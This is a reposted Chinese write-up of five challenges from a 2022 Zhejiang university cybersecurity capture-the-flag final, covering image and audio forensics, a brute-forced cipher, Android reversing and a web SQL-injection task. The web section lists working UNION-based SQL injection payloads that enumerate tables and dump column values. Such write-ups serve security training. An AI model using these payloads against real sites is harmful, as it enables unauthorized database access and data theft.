2022 第五届 浙江省大学生网络与信息安全竞赛技能赛 决赛 Writeup,5题
Posted 小哈里
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2022 第五届 浙江省大学生网络与信息安全竞赛技能赛 决赛 Writeup,5题相关的知识,希望对你有一定的参考价值。
文章目录
1、MISC:checkin_gift
题目描述:
- 有一张图
- foremost分离后还有一张 (虽然没啥用,但好康)
思路:
- 用01Edit打开原始图片,搜索==,发现base密码
- 丢进CyberChef尝试,发现base64+base32能解出flag
2、MISC:m4a
题目描述:
- 给了一个zip,里面包含一个没有后缀的名为m4a的文件(PS:没有后缀是不是意味着不一定是m4a文件)
思路:
-
将后缀改为.m4a播放一下,感觉是个摩斯电码。 用格式工厂转为MP3,丢到AudacityPortable看波形,手抄摩斯电码得到密码码-… .- …- …-- -… -.-. . …-.-.-. …— ----- …-, 解密后得到密码为BA43BCEFC204。
-
01Edit打开音频文件,发现末尾有个反向的zip,写代码提取出来。
#include<bits/stdc++.h> using namespace std; int main() freopen("in1.txt","r",stdin); freopen("out1.txt","w",stdout); string op; vector<string>vc; while(cin>>op) vc.push_back(op); reverse(vc.begin(),vc.end()); int cnt = 0; for(string t : vc) cnt++; cout<<t; if(cnt%16==0)cout<<"\\n"; else cout<<" "; return 0;
00 00 00 00 00 5C 00 00 00 5C 00 01 00 01 00 00 00 00 06 05 4B 50 01 D8 56 2A 32 4D 2D F7 01 D8 60 F5 2D E4 5A 49 01 D8 60 F5 2D E4 5A 49 00 18 00 01 00 00 00 00 00 20 00 0A 74 78 74 2E 68 73 61 62 74 61 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 24 00 0A 00 00 00 28 00 00 00 34 7A 71 6F BC 54 A6 57 53 00 00 00 01 00 14 00 3F 02 01 4B 50 50 00 99 A7 0C 4D FF C7 B9 4B 1B 5E 71 98 29 25 23 02 0C 39 90 F1 60 35 FC 3B 97 9A 69 91 8E 3E 11 7F 2E 6E A7 27 26 DC CD F7 9B DF CB 05 EC 42 EE 9C 71 AA 74 78 74 2E 68 73 61 62 74 61 00 00 00 0A 00 00 00 28 00 00 00 34 7A 71 6F BC 54 A6 57 53 00 00 00 01 00 14 04 03 4B 50 -------------------------------------------------------- 倒置后 50 4B 03 04 14 00 01 00 00 00 53 57 A6 54 BC 6F 71 7A 34 00 00 00 28 00 00 00 0A 00 00 00 61 74 62 61 73 68 2E 74 78 74 AA 71 9C EE 42 EC 05 CB DF 9B F7 CD DC 26 27 A7 6E 2E 7F 11 3E 8E 91 69 9A 97 3B FC 35 60 F1 90 39 0C 02 23 25 29 98 71 5E 1B 4B B9 C7 FF 4D 0C A7 99 00 50 50 4B 01 02 3F 00 14 00 01 00 00 00 53 57 A6 54 BC 6F 71 7A 34 00 00 00 28 00 00 00 0A 00 24 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 61 74 62 61 73 68 2E 74 78 74 0A 00 20 00 00 00 00 00 01 00 18 00 49 5A E4 2D F5 60 D8 01 49 5A E4 2D F5 60 D8 01 F7 2D 4D 32 2A 56 D8 01 50 4B 05 06 00 00 00 00 01 00 01 00 5C 00 00 00 5C 00 00 00 00 00
-
打开压缩包,输入上面音频中得到的密码,解压得到atbash加密后的字符串
(+w)v&LdG_FhgKhdFfhgahJfKcgcKdc_eeIJ_gFN
-
最后跑一遍ROT47+atbash得到flag。
3、Crypto:Math
题目描述
- 打开附件.py,发现明文m通过str和key加密后得到c。
思路
- 注意到%37,最多只有37种。 所以枚举key从1-37,反向str得到字典。
然后用密文c和反向的字典跑出明文m。(注意到跑出来有=号,去掉str中的=号重新跑)str = 'abcdefghijklmnopqrstuvwxyz0123456789+' dic = for key in range(1,38): for i in str: k=(str.index(i)*key+7)%37 dic[str[k]] = i # print(dic) c='u66hp7nuh01puoaip10pi6o0vzavnu11' m = '' for i in c: m += dic[i] print(m)
- 得到37种结果,逐一尝试得到flag
nzzai0gnatuinh4biutibzhtos4ognuu z55aendza2kezwptek2et5w2hjphdzkk 377apvc3a5tp31kzpt5pz715rgkrc3tt 588aczu5aofc5l02cfoc28lowx0wu5ff kffajuqka0ejk5gpje0jpf50zlgzqkee 799a03b7a82076f5028059681df1b722 //flag x44arjwxaiyrxb+qryirq4bic3+cwxyy 8rrab5k8ahvb8ynobvhboryhl4nlk8vv wllafhnwa95fwj27f59f7lj9sc2snw55 fvvaxkifancxf8d0xcnx0v8n5yd5ifcc sjja5+osa6w5se715w651je6if7iosww 9++an7t9aron9qv8norn8+qr6uv6t9oo bttamcjbak4mb3ium4kmut3kv1ivjb44 4ppa1xl4aem14tsi1me1ipteb7sbl4mm 2ooadt42av0d29cfd0vdfo9v7qc74200 r11at8fraw3trmzht3wth1mwypzyfr33 qiiah67qam+hquryh+mhyiumdzrd7q++ lyyavwzla+8vlxo9v8+v9yx+jbojzl88 0nnaqpm0abdq0oxcqdbqcnob2+x2m0dd v33a4fevazb4vrun4bz4n3rz8mu8evbb ukkasd6uapisuzm4sips4kzpnwmn6uii jxxa8shjaql8jc968lq86xcqev9ehjll hwwako0ha7zkhst3kz7k3ws7+et+0hzz +ssaz92+a1hz+i3rzh1zrsi1qk3q2+hh cbbayescauxycvqdyxuydbvufrqfscxx t22agbxtafpgt7ekgpfgk27f36e3xtpp 6qqao136ay9o6d8lo9yolqdygn8g3699 p00a64ypacg6p2je6gc6e02ct9jtypgg duua+g1da4q+dnyx+q4+xun40hy01dqq ohhau2poa3nuo+bvun3uvh+39ib9ponn eccali+eadjlef6gljdlgcfdk86k+ejj 166a2rv1al721g5w27l2w6glm05mv177 gdda9mrgax69g0lj96x9jd0xpolprg66 ieeawq9iagswik1mwsgwmekgu51u9iss mgga7y8maj17mpws71j7sgpj42w48m11 ymma3l5yasr3y4h+3rs3+m4sxthx5yrr ymm+3l5y+sr3y4h+3rs3+m4sxthx5yrr
4、RE:ezandroid
题目描述:
- 安卓模拟器安装,打开后是个登录界面
思路:
- 丢到JEB里打开,解析后查看MainActivity程序代码,发现登录账号为mname,密码为compare数组经过change函数加密后的结果
- 查看change函数,得到密码的计算方式为 valueOf((ch[x] ^ 3) << 2 ,因此反向计算的方式为对数组,先>>2,再^3。
- 拷贝出数组的元素,用计算器将部分16进制转为10进制。
- 写C++程序,对数组中的每个数x, 取(x>>2)^3的结果,输出为字符串,即为密码f4n_4ndro1d
#include<bits/stdc++.h> using namespace std; int a[11] = 404, 220, 436, 368, 220, 436, 412 , 452 , 432, 200, 412; int main() for(int i = 0; i < 11; i++) int t = a[i]; t >>= 2; t ^= 3; cout<<char(t)<<""; return 0;
- 进入程序,输入账号和密码,得到flag。
5、Web:babysql
题目描述:
- 打开网页,输入数字得到sql注入的目标位置
思路:
- 尝试构造sql注入
id=password/**/and/**/1=1/**/union/**/select/**/1,1,1
- 获取数据库名称
search.php?id=0/**/and/**/1=1/**/union/**/select/**/1,1,database()
- 获取数据表名称
search.php?id=0/**/and/**/1=1/**/union/**/select/**/1,1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'
- 获取数据字段名称
search.php?id=0/**/and/**/1=1/**/union/**/select/**/1,1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='emails'
- 获取数据字段的值,得到flag。
search.php?id=0/**/and/**/1=1/**/union/**/select/**/1,1,group_concat(email_id)/**/from/**/emails
其他可做题:
- re1:EzMath2:upx壳混淆,改区段名之后脱壳,然后IDA
-
参考题解:https://mp.weixin.qq.com/s/2dVnRuxqsU94j5bhvTWJUA
以上是关于2022 第五届 浙江省大学生网络与信息安全竞赛技能赛 决赛 Writeup,5题的主要内容,如果未能解决你的问题,请参考以下文章
2022 第五届 浙江省大学生网络与信息安全竞赛技能赛 决赛 Writeup,5题
2022 第五届 浙江省大学生网络与信息安全竞赛技能赛 预赛 Writeup,5题
2022 第五届 浙江省大学生网络与信息安全竞赛技能赛 预赛 Writeup,5题
2022 第五届 浙江省大学生网络与信息安全竞赛技能赛 预赛 Writeup,5题